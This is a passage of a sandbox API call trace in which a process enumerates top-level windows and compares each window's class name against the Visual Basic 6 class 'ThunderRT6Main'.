(hWnd=0x10192, uCmd=0x2) returned 0x1018a [0097.819] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0097.819] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0097.819] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0097.819] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0097.819] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.819] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.819] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0097.819] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0097.819] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0097.819] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0097.819] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0097.819] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0097.819] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.819] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.819] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0097.819] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0097.820] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0097.820] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0097.820] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0097.820] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0097.820] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.820] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.820] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0097.820] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0097.820] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0097.820] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0097.820] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0097.820] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0097.820] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.820] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.820] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0097.820] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0097.820] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0097.820] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0097.820] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0097.820] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0097.820] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.820] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.820] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0097.820] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0097.820] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0097.820] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0097.821] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0097.821] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0097.821] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.821] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.821] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0097.821] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0097.821] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0097.821] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0097.821] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0097.821] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0097.821] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.821] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.821] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0097.821] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0097.821] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0097.821] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0097.821] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0097.821] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0097.821] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.821] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.821] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0097.821] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0097.821] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0097.821] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0097.821] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0097.821] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0097.821] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.821] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.821] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0097.821] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0097.821] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0097.821] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0097.821] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0097.821] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0097.822] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.822] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.822] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0097.822] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0097.822] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0097.822] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0097.822] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0097.822] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0097.822] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.822] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.822] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0097.822] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0097.822] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0097.822] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0097.822] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0097.822] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0097.822] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.822] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.822] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0097.822] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0097.822] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0097.822] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0097.822] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0097.822] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0097.822] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.822] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.822] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0097.822] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0097.822] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0097.822] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0097.822] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0097.822] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0097.822] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0097.822] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0097.822] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0097.823] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0097.823] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0097.823] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0097.823] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0097.823] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0097.823] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0097.823] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0097.823] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0097.823] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0097.823] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0097.823] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0097.823] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0097.823] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0097.823] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.823] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.823] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0097.823] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0097.823] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0097.823] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0097.823] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0097.823] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0097.823] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.823] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.823] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0097.823] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0097.823] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0097.823] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0097.823] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0097.823] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0097.823] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.823] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.823] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0097.823] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0097.823] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0097.823] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0097.823] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0097.824] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0097.824] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0097.824] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0097.824] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0097.824] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0097.824] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.824] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.824] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0097.824] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0097.824] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0097.824] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0097.824] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0097.824] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0097.824] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.824] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.824] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0097.824] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0097.824] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0097.824] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0097.824] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0097.824] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0097.824] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.824] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.824] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0097.824] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0097.824] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0097.824] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0097.824] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0097.824] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0097.824] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0097.824] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0097.824] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0097.824] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0097.824] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0097.824] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0097.824] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0097.825] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0097.825] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0097.825] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0097.825] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0097.825] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0097.825] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0097.825] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0097.825] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.825] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0097.825] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0097.825] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0097.825] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0097.825] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0097.825] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0097.825] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0097.825] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.825] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0097.825] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.825] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.825] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.825] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0097.825] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.825] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.825] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.825] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0097.825] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0097.825] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0097.825] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0097.825] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0097.825] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.825] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.825] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0097.825] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0097.825] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0097.825] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0097.826] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.826] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0097.826] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0097.826] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0097.826] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0097.826] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0097.826] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.826] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.826] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0097.826] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0097.826] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0097.826] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0097.826] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.826] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0097.826] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0097.826] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0097.826] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0097.826] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0097.826] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0097.826] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0097.826] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0097.826] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0097.826] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.826] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.826] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0097.826] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0097.826] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0097.826] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0097.826] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0097.826] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0097.826] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.826] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.826] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0097.826] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0097.827] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0097.827] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0097.827] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0097.827] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0097.827] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0097.827] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0097.827] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0097.827] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0097.827] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1060 [0097.827] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1060) [0097.885] GetCurrentThreadId () returned 0xbdc [0097.885] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0097.885] GetDesktopWindow () returned 0x10010 [0097.885] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0097.885] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.885] lstrcmpA (lpString1="tooltips_class32", 